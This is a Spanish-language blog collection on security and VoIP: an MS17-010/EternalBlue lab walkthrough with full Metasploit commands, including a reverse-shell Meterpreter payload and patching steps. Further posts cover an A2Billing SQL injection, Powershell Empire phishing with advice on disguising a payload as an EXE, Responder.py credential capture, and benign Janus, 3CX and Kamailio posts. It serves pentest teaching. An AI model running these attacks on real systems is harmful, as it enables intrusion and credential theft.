Explotando Vulnerabilidad MS17-010 o WannaCry

El pasado 12 de Mayo durante el desarrollo del Peruhack en Lima-Perú estallaba la noticia de un ataque global del ahora famoso ramsomware “Wanacry”  arrasando múltiples empresas, grandes y extra grandes.

La duda es, como funciona Wanacry ?
El punto de entrada inicial no era muy diferente a los ramsomware que han aparecido anteriormente y se trata de infección via corre electrónico atraves de adjuntos con malware que explotaba una vulnerabilidad hasta esa fecha “no tan conocida” luego se expandía por la redes colindantes explotando la misma vulnerabilidad.

Ello es en resumen, técnicamente hablando , la vulnerabilidad que explotada por el ransomware WanaCrypt0r o WanaCry es la denominada por el boletin oficial de Microsoft como MS17-010 la cual afecta primordialmente a Windows 7 y Windows 2008 server que fue remediada por Microsoft el 14 de marzo es decir existe un parche desde esa fecha. El tema es que existe una herramienta llamada “EternalBlue” liberada por ShadowBrokers ( un grupo de hackers involucrados en el hackeo a la NSA) la cual explota la vulnerabilidad y afecta al protocolo SMB ( Servicio para compartir archivos e impresoras) que ahora está portada a Mestasploit por Elevenpaths.

Es por ello que su propagación fue masiva debido a que basta que una sola maquina se infecte para que se propague en toda una red LAN.

A continuación vamos a hacer una prueba de concepto paso a paso de como se explota la vulnerabilidad y luego aplicaremos el parche y probaremos nuevamente.

Escenario
Atacante : Kali Linux 2016_1 / IP 192.168.56.102
Atacado : Windows 7 64Bits / IP 192.168.56.101

1- Detección de Vulnerabilidad MS17-010 (Wanacry) con Nmap
cd /usr/share/nmap/scripts
wget https://raw.githubusercontent.com/cldrn/nmap-nse-scripts/master/scripts/smb-vuln-ms17-010.nse
nmap -d -sC -p445 –script smb-vuln-ms17-010.nse 192.168.56.101

Como se puede ver el scrip de nmap nos indica que el sistema operativo es vulnerable a ms17-010 ,con la confirmación vamos a explotar.

2- Explotando la Vulnerabilidad MS17-010 (Wanacry) con Metasploit

2.1- Instalación del exploit Eternalblue-Doublepulsar en Metasploit

cd /root
git clone https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit.git
cp /root/Eternalblue-Doublepulsar-Metasploit/eternalblue_doublepulsar.rb /usr/share/metasploit-framework/modules/exploits/windows/smb/

2.2..- Atacando Windows 7 64Bits vulnerable

msfconsole
use exploit/windows/smb/eternalblue_doublepulsar
show info
show targets
set TARGET 8
set PAYLOAD windows/meterpreter/reverse_tcp
set PROCESSINJECT explorer.exe
set LHOST 192.168.56.102
set LPORT 4444
set RHOST 192.168.56.101
exploit

Como vemos se genera la sesión de Meterpreter

2.1- Aplicando Parche y Probando que la vulnerabilidad

2.1- Aplicando Parche UPDATE de seguridad para MS17-010

Descargamos la actualización oficial desde :

http://www.catalog.update.microsoft.com/Search.aspx?q=KB4012212

Aplicamos el parche

2.2- Validando que la vulnerabilidad fue parchada

Validando con Nmap

Validando nuevamente con Metasploit

Como vemos luego de a ver aplicado el parche ya no es posible tomar el control del sistema, asi que a realizar las actualizaciones antes que se infecten.

Saludos
Juan Oliva
@jroliva

 

Anuncios

Vulnerabilidad en A2BILLING ELASTIX 2.5 2.4 thanku-outcall iridium_threed.php

Por experiencia algunas vulnerabilidades toman un tiempo en “madurar” o hacerse masivas, esto ha pasado con está específicamente. En estas ultimas semanas he recibido muchas noticias y comentarios de hackeos a plantas, PBX, Centrales basadas en Elastix 2.4 y 2.5 en donde se crean un contexto llamado thanku-outcall esto por lo general, nombre del contexto puede cambiar evidentemente,  el objetivo es que se crea un contexto que permite sacar llamadas o en algunos casos mas creativos permiten originar llamadas solo para abrir un canal hacia un 0800 por ejemplo.

Como ingresan ? Cual es el punto de acceso?
Pues para variar el punto de acceso es vía Web ( Puerto 80, 443)  se trata de un archivo vulnerable en A2billing específicamente el archivo “iridium_threed.php” el cual permite una inyeccion SQL el cual inserta un registro en el servidor de base de datos de esta forma:

Luego de ello se crea un contexto en el archivo extensions_custom.conf alguna variante puede hasta crear un archivo en el directorio de publicación de apache.

La vulnerabilidad es clasificada como crítica. El punto de acceso es una función desconocida del archivo a2billing/customer/iridium_threed.php del componente Billing es afectada por esta vulnerabilidad. Mediante la manipulación del parámetro transactionID de un input desconocido se causa una vulnerabilidad de tipo sql injection.

La vulnerabilidad fue publicada el 2015-03-07 en exploitdb  la cual pueden verificar en https://www.exploit-db.com/exploits/36305/. La vulnerabilidad es identificada como CVE-2015-1875. La explotación se considera fácil. El ataque se puede efectuar a través de la red. La explotación no necesita ninguna autenticación específica.

Como parcho , Como lo corrijo o mitigo?
Si necesitas A2billing , es migrar a la versión superior, ya que la que trae Elastix es una version bastante antigua,  sin embargo sabemos que en las PBX no necesitas este software, lo recomiendo personalmente  es eliminarlo sacar del directorio de publicación de apache la carpeta A2billing.

Y si no tengo publicado mi Elastix no me interesa ?
Pues si te debería interesar ya que los hackeos no necesariamente vienen desde afuera, ahora con las vulnerabilidades como wanacry no te puedes fiar de tu red interna.

Y si tengo Issabel PBX o FreePBX ?
Pues para tranquilidad Issabel o FreePbx no trae A2billing fue un gran acierto eliminar aplicaciones “extra”

Espero les sirva la info.
Juan Oliva
@jroliva

 

 

 

 

Powershell Empire tomando el control de Windows 8.1

EmpireDurante las labores de un proyecto de Ethical Hacking / Pentesting, es necesario desarrollar en actividades que involucran, ataques de ingeniería social y/o  ataques del lado del cliente.

En cualquier de los casos, la actividad a desarrollar es comprometer el computador de los usuarios evaluados, con el objetivo de validar la educacion informatica de los usuarios frente a este tipo de ataques y también que tan buenos son los controles de malware y/o antivirus locales o instalados en el perímetro.

Para estos casos una de las herramientas que en la practica tiene mucho éxito es Powershell Empire.

empire

 

 

 

 

 

 

Powershell Empire como sus propios creadores lo denominan es un agente de Post-explotación que implementa la capacidad de ejecutar agentes de PowerShell sin necesidad de powershell.exe  cuenta con módulos de post-explotación que son rápidamente desplegables que van desde key loggers a Mimikatz,

Instalarlo sobre Kali Linux es muy sencillo, basta con hacer un git clone de repositorio :

https://github.com/adaptivethreat/Empire.git

P.O.C. De demostración

 

Evidentemente ese bat es posible convertirlo a un archivo EXE y camuflarlo cambiándole el icono, con lo cual tendríamos un archivo mucho mas atractivo para el usuario final.

En un segundo post, veremos como generar una macro con Empire para infectar un archivo de MS. Office.

Saludos
Juan Oliva

Capturando Credenciales con Responder.py

responderResponder.py , es una herramienta desarrollada por Trustwave SpiderLabs, la cual  puede responder a las consultas LLMNR y NBT-NS dando su propia dirección IP como destino para cualquier nombre de host solicitado.

Pero Cómo trabaja ?

Para entender como trabaja, es necesario conocer como funcionan las peticiones de recursos de red en una red Windows, ya que justamente, es posible abusar del comportamiento predeterminado de los servicios de resolución de nombres que usa Microsoft Windows con el objetivo de robar credenciales de autenticación.

Desmenuzando el comportamiento

Si un cliente de Windows no puede resolver un nombre de host utilizando el servicio DNS, este utilizará el protocolo de resolución de nombres de multidifusión o mejor llamado “LLMNR” para pedir a los equipos vecinos resolver las direcciones IPv4 e inclusive bajo IPv6.

Si la solicitud usando LLMNR falla, se utilizará el protocolo NetBios Name Service o NBT-NS el cual cumple el mismo objetivo que el anterior. 

Entonces, cuando un host utiliza LLMNR o NBT-NS para resolver una solicitud de un recurso de red, es posible que cualquier host de la red que conozca la dirección IP del host al que se le pregunte puede responder. Incluso si un host responde a una de estas solicitudes con información incorrecta, todavía se considerará como legítimo, en esa etapa en donde se sitúa la herramienta Responder.py para capturar credenciales.

Gráficamente sería lo siguiente:

responder

Responder.py no solo para LLMNR o NBT-NS

Responder.py por si fuera poco, además viene con varios servidores de autenticación falsos (HTTP/SMB/MSSQL/FTP/LDAP) que soportan NTLMv1/NTLMv2/LMv2, Extended Security NTLMSSP y autenticación HTTP básica.

Para qué sirve en un servicio de Pentesting ?

eh

 

 

 

 

 

Para los que nos dedicamos a esto, sabemos que la captura de credenciales mediante fuerza bruta es un proceso que difícilmente se puede realizar con buenos margenes de éxito debido al corto tiempo con el que se cuenta, en este caso Responder.py surge como una técnica muy buena para ello, poder realizar captura de credenciales y conseguir ingresar a estaciones y/o servidores además de realizar post explotación evidentemente.

P.O.C. Veamos una demo del funcionamiento.

Mas adelante veremos otros de escenarios de aplicacion de responder.py durante un pentesting.

Saludos
Juan Oliva

 

Install Janus WebRTC Gateway in Debian

janus-logo

Desde hace varios meses vengo trabajando algunas cosas con mi amigo de aventuras tecnológicas Alfredo Pastor @AlfredoPastorL  sobre la plataforma “Janus”  pero qué es? 

Por que no solo de Asterisk vive el hombre, se puede decir que  Janus es auto denominado por la empresa Meetecho como un “WebRTC Gateway” de múltiple propósito, proporciona funcionalidades de comunicación para el uso de WebRTC con un navegador, a través del intercambio mensajes JSON y retransmitir comunicación RTP / RTCP . es posible  desarrollar implementaciones de aplicaciones como pruebas de eco, web conference, grabadoras de medios, pasarelas SIP y similares.

En este caso vamos a ver  como instalarlo correctamente en una plataforma DEBIAN

1.- Instalación de dependencias

#apt-get install aptitude
#aptitude install libmicrohttpd-dev libjansson-dev libnice-dev libssl-dev libsrtp-dev libsofia-sip-ua-dev libglib2.0-dev libopus-dev libogg-dev libcurl4-openssl-dev pkg-config gengetopt libtool automake make git cmake

Luego removemos los paquetes de correspondientes a rtp srtp ya que vamos a instalar nuevas versiones desde fuentes.

#apt-get remove libsrtp0 libsrtp0-dev
#apt-get autoremove libsrtp0 libsrtp0-dev

2.- Instalación de SRTP

#cd /opt/
#wget https://github.com/cisco/libsrtp/archive/v1.5.4.tar.gz
tar xfv v1.5.4.tar.gz
#cd libsrtp-1.5.4
#./configure –prefix=/usr –enable-openssl
#make shared_library && make install

Janus

3.- Instalación de USRSCTP

#cd /opt/
#git clone https://github.com/sctplab/usrsctp
#cd usrsctp
#./bootstrap
#./configure –prefix=/usr/lib64 && make && make install

 

4.- Instalación de LIBWEBSOCKETS

#cd /opt/
#git clone https://github.com/warmcat/libwebsockets.git
#libwebsockets
#mkdir build && cd build/
#cmake -DCMAKE_INSTALL_PREFIX:PATH=/usr -DCMAKE_C_FLAGS=”-fpic” ..
#make && make install

selection_057

5.- Instalación de DXYGEN y GRAPHVIZ

#aptitude install doxygen graphviz

6.- Instalación de RABBITMQ

#cd /opt
#git clone https://github.com/alanxz/rabbitmq-c
#cd rabbitmq-c
#git submodule init
#git submodule update
#autoreconf -i
#./configure –prefix=/usr && make && make install

Janus

7.- Instalación de PAHO

#cd /opt
#git clone https://github.com/eclipse/paho.mqtt.c.git
#cd paho.mqtt.c
#make && make install

Janus

8.- Instalación de JANUS

#cd /opt
#git clone https://github.com/meetecho/janus-gateway.git
#cd janus-gateway
#sh autogen.sh
#./configure –prefix=/opt/janus
#make
#make install
#make configs
#./configure –disable-rabbitmq
#./configure –enable-docs

Janus

9.- Instalación del servidor Web

#apt-get install apache2

Ahora copiamos las paginas de ejemplo
#cp -R /opt/janus-gateway/html/ /var/www/
#cd /var/www/html/

10.- Pruebas

Si todo salio bien deberíamos poder levantar Janus de la siguiente forma :

#/opt/janus/bin/janus

JanusEso quiere decir que Janus está en funcionamiento, luego ingresaremos al servidor Web de la siguiente forma :   http://debian/ y veremos los siguiente

janusSi desean ver el manual en video Alfredo realizó todo el proceso incluido como funcionan los demos de Janus

En el siguiente post haremos una guia de como enlazar Janus con Asterisk

DESTRIPANDO 3CX PBX A.K.A. ELASTIX 5

selection_051

Ahora que ya termine de hacer varios informes de pentesting y con un respiro a cuestas por fiestas de fin de año, decidí darme un vuelta al mundo de la VOIP y ver lo que andaba pasando, después de lo que ocurrido con la venta de Elastix , era motivo de darle una mirada al “nuevo producto” por dentro y ver que tenía.

Ahora como no tengo ni una remota idea de como empezar, hacemos una búsqueda recursiva de la siguiente forma :  find / -name “3cxpbx”

Y nos arroja esto :

/etc/cron.d/3cxpbx
/etc/nginx/sites-enabled/3cxpbx
/etc/sudoers.d/3cxpbx
/usr/lib/3cxpbx
/usr/share/3cxpbx
/var/lib/3cxpbx

Bueno, ya tenemos un punto de partida, empecemos:

1.- Sistema Operativo

Esto debe ser lo mejor que tiene , el sistema está basado en un Debian 8

selection_048

2.- Servidor Web
Primero  no usa Apache si no NGINX lo cual en algún sentido es bueno por las ventajas que tiene, sin embargo ahora las preguntas de rigor

Donde está el directorio de publicación ? correrá PHP ??

En la búsqueda anterior salio la ruta “/etc/nginx/sites-enabled/3cxpbx”

veamos ( captura del fichero)

location /
index index.html;^M
root /var/lib/3cxpbx/Data/Http/wwwroot;
try_files $uri $uri/ @proxy;
}

location /MyPhone {^M
alias /var/lib/3cxpbx/Instance1/Data/Http/Interface/MyPhone;
try_files $uri $uri/ @proxy;
}

identificamos dos directorios la raiz seteada a “/var/lib/3cxpbx/Data/Http/wwwroot” y otra llamada /MyPhone seteada a “/var/lib/3cxpbx/Instance1/Data/Http/Interface/MyPhone”

Vamos al wwwroot y corremos :

touch prueba.html ; echo “ESTO ES UNA PRUEBA” > prueba.html

ingresamos a http://192.168.1.36:5000/prueba.html y nos permite visualizar el archivo.

Ahora vamos con el típico phpinfo.php y oh sorpresa no funciona 😦   es decir no tiene soporte para PHP

selection_041

3.- Base de datos
Luego de indagar sobre el servidor web, ahora ver que BD corre, donde lo saco? ,
revisando por la ruta donde al parecer reside, ubico en la ruta “/var/lib/3cxpbx/Bin” algunos archivos .ini al mismo estilo de Windows 😦

me llamo la atención este en particular : 3CXPhoneSystem.ini en donde ohh sorpresa!! encontré cadenas de conexión a base de datos Postgresql

confNIC = 127.0.0.1
DBPort = 5432
DBName = phonesystem
dbUser = phonesystem
ConfPort = 5485
dbPassword = EF11C93F-3E70-4D6E-A2C9-AC87944EC028

Evidentemente el servidor de BD solo permite conexiones locales, pero ya sabemos que tiene como BD.

4.- Motor de telefonía
Ahora lo mas importante,  tendrá ASTERISK como motor ?

Corremos el comando “asterisk -rx” y nada  entonces que tiene ?

Bueno haciendo unas capturas con Wireshark , la cosa esta se presenta como “3CXPhoneSytem”

selection_043

Y Elastix 5 😦

ahora veamos que servicio lo ejecuta en Linux , ya que quiero saber si tiene alguna interfase de comandos o un CLI al menos.

selection_044

Como vemos tenemos el programa “3CXPbxServer” ahora hacemos una búsqueda y encontramos:

selection_049

Como vemos es un binario que corre como root y además o sorpresa hay una serie de programas adicionales con el mismo nombre que solo dios sabe lo que hacen.

Ahora veamos si el binario ofrece una interfase de comandos :

selection_046

Nos pide ciertos parámetros , los averiguamos dentro los archivos ini  y nuevamente probamos:

selection_050

Definitivamente no hay respuesta.

5.- Conclusiones

Luego de esta revisión bastante rápida, las conclusiones son obvias, sobre todo para los que venimos y somos del mundo Asterisk.

  • La solución no tiene Asterisk , si no su propio desarrollo implementar SIP
  • Al no tener Asterisk no es posible usar AMI, AGI, PJSIP, ARI con lo cual resta mucho, sobre todo a gente como yo que desarrolla y personalizar mucho.
  • No corre PHP , al menos por defecto, si bien es cierto metiéndole mano se podría incluir en NGINX pero no es el caso.
  • No provee una interfase de consola o un CLI , es algo de lo que siempre me quejo de otras soluciones y esta entra a la lista ahora, por ahí vi unos logs pero no basta.
  • Lo único que veo de bueno a nivel de arquitectura es que usa Debian , aunque por hay vi algunos path como “C:\Program Files\3CX Phone System Cloud Server\” que aun se han olvidado sacar.

En resumen :  Elastix 5 o mejor dicho 3CX LINUX no va ser, ni será para mi una opción, basándome solo en algunos detalles claves de su arquitectura, ello sin mencionar las limitaciones (trunk , extensiones) a nivel de la aplicación que tiene, será motivo para ir viendo otras alternativas.

Nota final : Esta es una posición totalmente personal del escritor de este blog, no representa la opinión de ninguna empresa conexa.

 

 

Kamailio entendiendo lógica de enrutamiento

kamailio_logicaUno de los aspectos mas importantes y a la vez complicados de entender en Kamailio es la lógica de enrutamiento, debido a que tiene mucho que ver con el comportamiento del protocolo SIP.

Luego de mi charla en el ElastixWorld 2015 he tenido varias consulta referente a Kamailio y su comportamiento, un poco de ello lo explique en la charla “Usando el módulo PIKE en Elastix MT”  sin embargo en este post vamos a dar un alcance un poco mayor a este tema.

Primero vemos de manera genera lo que trae el archivo de configuración.

kamailioEsta imagen representa el esquema a nivel de parametrización de un archivo kamailio.cfg

Ahora vamos a ver cada punto:

1.- Definiciones Globales
Variables que vamos a usar a lo largo de la lógica de enrutamiento, las cuales pueden estar referidas a parámetros de log, direcciones IP y puertos que va escuchar el servidor, entre otras.

Tiene la siguiente forma:

Kamailio_globals2.- Sección de Módulos
Es donde definimos o “cargamos” los módulos vamos a user, por ejemplo el modulo de MYSQL  para guardar los registros en base de datos, o el modulo de TLS para cifrado de la señalización.

Tienen las siguiente forma:

kamailio_modules3.- Sección de configuración de módulos
En esta sección de parametrizan o configuran los módulos que hemos cargado en la sección  anterior, es muy importante configurar los módulos adecuadamente, ya que en algunos casos se activan con configuraciones por defecto, lo cuales pueden producir a la larga efectos extraños en el comportamiento.

Tienen la siguiente forma:

kamailio_modules4.- Bloques de rutas o lógica de enrutamiento
Esta es la sección es “clave” en el archivo de configuración ya que va establecer todo el camino que va seguir las peticiones SIP que recibamos, aquí hay que decir que no existe un patrón único, ya que uno puede hacer su lógica tan simple o tan compleja como lo desee, es decir con mas o menos bloques de rutas, sin embargo existen ciertos patrones que uno siempre va respetar o encontrar en otros archivos, estos son bloques de rutas que normalmente vamos a encontrar:

  • Principal (Main ó request_route)
  • Secundarias (REQINIT, WITHINDLG,REGISTRAR)
  • Failure (failure_route)
  • Branch (branch_route)

En esquema que pude realizar para mi autocompasión de un esquema de enrutamiento maso menos complejo:

kamailioComo se puede apreciar todo parte del bloque “Main” o “Request Route” y va ingresando a los demás bloques en donde cada uno tiene un objetivo puntual aplicado a la solicitud SIP entrante.

El bloque “REQINIT” tiene un papel muy importante ya que hace la mayoría de la comprobaciones previas como la evaluación de seguridad entre otras cosas.

Luego los métodos secundarios realizan el registro, localización y reenvío de las solicitudes SIP a otro server, un Asterisk por ejemplo. según sea el caso.

Enlaces:
https://www.kamailio.org/wiki/cookbooks/4.0.x/core
https://www.kamailio.org/wiki/tutorials/getting-started/main

Bueno espero que este post les amplié el panorama respecto al funcionamiento de kamailio, mas adelante desmenuzaremos otros aspectos de este formidable software.

Saludos
Juan Oliva